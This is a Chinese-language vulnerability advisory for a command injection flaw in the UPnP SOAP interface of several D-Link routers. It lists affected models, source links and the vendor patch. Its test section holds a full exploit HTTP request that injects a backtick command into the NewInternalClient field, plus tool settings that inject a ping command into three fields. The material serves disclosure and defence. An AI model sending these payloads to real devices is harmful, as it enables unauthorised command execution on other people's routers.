多个D-Link产品UPnP SOAP接口命令执行漏洞

多个D-Link产品UPnP SOAP接口命令执行漏洞

发布日期：2013-07-07
更新日期：2013-07-11

受影响系统：
D-Link DIR-300
D-Link DIR-600 2.12b02
D-Link DIR-645
D-Link DIR-865L 1.05b03
D-Link DIR-845 1.01b02
描述：
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BUGTRAQ  ID: 61005

D-Link是国际著名网络设备和解决方案提供商，产品包括多种路由器设备。

多个 D-Link 产品存在命令注入漏洞，利用这些漏洞攻击者可以在受影响设备上下文中执行任意命令。受影响设备包括：

DIR-300 rev B running firmware 2.14b01
DIR-600 running firmware 2.16b01
DIR-645 running firmware 1.04b01
DIR-845 running firmware 1.01b02
DIR-865 running firmware 1.05b03

<*来源：m-1-k-3
 
  链接：http://xforce.iss.net/xforce/xfdb/85461
        http://packetstormsecurity.com/files/122307/D-Link-UPnP-OS-Command-Injection.html
*>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

=> Parameter: NewInternalClient, NewInternalClient, NewInternalPort

Example Request:
POST /soap.cgi?service=WANIPConn1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Host: 10.8.28.133:49152
Content-Type: text/xml
Content-Length: 649

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewPortMappingDescription></NewPortMappingDescription>
<NewLeaseDuration></NewLeaseDuration>
<NewInternalClient>`COMMAND`</NewInternalClient>
<NewEnabled>1</NewEnabled>
<NewExternalPort>634</NewExternalPort>
<NewRemoteHost></NewRemoteHost>
<NewProtocol>TCP</NewProtocol>
<NewInternalPort>45</NewInternalPort>
</m:AddPortMapping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

You could use miranda for your own testing:

* NewInternalClient
Required argument:
Argument Name:  NewInternalClient
Data Type:      string
Allowed Values: []
Set NewInternalClient value to: `ping 192.168.0.100`

* NewExternalPort
Required argument:
Argument Name:  NewExternalPort
Data Type:      ui2
Allowed Values: []
Set NewExternalPort value to: `ping 192.168.0.100`

* NewInternalPort
Required argument:
Argument Name:  NewInternalPort
Data Type:      ui2
Allowed Values: []
Set NewInternalPort value to: `ping 192.168.0.100`

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/dir-865-v105-shell.png

建议：
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厂商补丁：

D-Link
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.dlink.com/